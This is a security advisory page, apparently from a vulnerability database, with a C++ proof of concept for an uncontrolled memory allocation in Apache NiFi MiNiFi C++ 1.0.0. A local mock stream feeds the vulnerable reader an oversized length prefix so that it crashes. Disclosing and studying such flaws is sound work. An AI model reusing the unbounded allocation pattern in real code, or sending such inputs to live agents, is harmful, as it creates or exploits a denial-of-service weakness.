Lucene search
+L

Apache NiFi MiNiFi C++ 1.0.0 Uncontrolled Memory Allocation

🗓️ 21 Oct 2026 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 8 Views

Uncontrolled memory allocation in MiNiFi C++ InputStream reader causes DoS crash.

Code
//
//
// Apache NiFi MiNiFi C++ 1.0.0 Uncontrolled Memory Allocation
//
//
// Vendor: The Apache Software Foundation
// Product web page: https://nifi.apache.org/projects/minifi
// Affected version: 1.0.0, 0.99.2
//
// Summary: MiNiFi - a subproject of Apache NiFi - is a complementary data
// collection approach that supplements the core tenets of NiFi in dataflow
// management, focusing on the collection of data at the source of its creation.
//
// Desc: Apache NiFi MiNiFi C++ contain an uncontrolled memory allocation in
// its InputStream reader: a length field read from a site-to-site or C2 stream
// is used to size a std::vector with no upper bound, so a peer that advertises
// a ~4 GB length forces an allocation that throws std::bad_alloc and crashes
// the agent. Site-to-site peers and C2 servers are treated as trusted and TLS
// is expected for production deployments, so TLS with peer verification prevents
// an untrusted party from reaching the reader.
//
// Tested on: Microsoft Windows 10 (x86-64)
//            g++ 15.2.0 (MSYS2 UCRT64)
//
//
// Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
//                             @zeroscience
//
//
// Advisory ID: ZSL-2026-6029
// Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6029
//
//
// 13.08.2026
//


// g++ -std=c++20 -O0 nifiminifi.cpp -o nifiminifi.exe && ./nifiminifi.exe

#include <cstdio>
#include <cstdint>
#include <vector>
#include <string>
#include <cstddef>
#include <new>

#ifdef _WIN32
#include <windows.h>
static void cap_process_memory_256MB(void) {
    HANDLE job = CreateJobObjectA(NULL, NULL);
    if (!job) return;
    JOBOBJECT_EXTENDED_LIMIT_INFORMATION info = {0};
    info.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_PROCESS_MEMORY;
    info.ProcessMemoryLimit = (SIZE_T)256 * 1024 * 1024;
    SetInformationJobObject(job, JobObjectExtendedLimitInformation, &info, sizeof(info));
    AssignProcessToJobObject(job, GetCurrentProcess());
}
#else
#include <sys/resource.h>
static void cap_process_memory_256MB(void) {
    struct rlimit rl; rl.rlim_cur = (rlim_t)256 * 1024 * 1024; rl.rlim_max = rl.rlim_cur;
    setrlimit(RLIMIT_AS, &rl);
}
#endif

struct MockStream {
    uint32_t attacker_length;
    bool length_consumed = false;

    size_t read(uint16_t &v) { v = (uint16_t)attacker_length; return sizeof(v); }
    size_t read(uint32_t &v) { v = attacker_length;           return sizeof(v); }
    size_t read(std::vector<std::byte> &buffer) { (void)buffer; return 0; }

    static bool isError(size_t) { return false; }

    size_t read(std::string &str, bool widen) {
        uint32_t string_length = 0;
        size_t length_return = 0;
        if (!widen) {
            uint16_t shortLength = 0;
            length_return = read(shortLength);
            string_length = shortLength;
        } else {
            length_return = read(string_length);
        }

        if (length_return == 0 || isError(length_return)) {
            return length_return;
        }

        if (string_length == 0) {
            str.clear();
            return length_return;
        }

        str.clear();
        str.reserve(string_length);

        size_t bytes_to_read{string_length};
        auto zero_return_retry_count = 0;
        while (bytes_to_read > 0) {
            printf("  [sink] allocating std::vector<std::byte> buffer(%zu)  (= attacker length, no cap)\n",
                   bytes_to_read);
            fflush(stdout);
            std::vector<std::byte> buffer(bytes_to_read);
            const auto read_return = read(buffer);
            if (isError(read_return))
                return read_return;
            if (read_return == 0 && ++zero_return_retry_count > 3) {
                return (size_t)-1;
            }
            bytes_to_read -= read_return;
            str.append(std::string(reinterpret_cast<const char*>(buffer.data()), read_return));
        }
        return length_return + string_length;
    }
};

int main(void) {
    cap_process_memory_256MB();
    MockStream s;
    s.attacker_length = 0xFFFFFFFFu;
    printf("[*] Peer sends length prefix = 0x%08X (%u bytes) then little/no data\n",
           s.attacker_length, s.attacker_length);
    printf("[*] Entering InputStream::read(std::string&, widen=true)...\n");
    fflush(stdout);

    std::string out;
    try {
        s.read(out, /*widen=*/true);
        printf("  [!] Allocation succeeded. Process was forced to commit ~4 GB from a 4-byte field\n");
        printf("      (on a constrained MiNiFi edge device this is the OOM/DoS)\n");
    } catch (const std::exception &e) {
        printf("  [+] std::exception thrown by the unchecked allocation: %s\n", e.what());
        printf("  [+] MiNiFi has no try/catch around this read -> exception propagates -> agent crash (DoS)\n");
    }
    return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation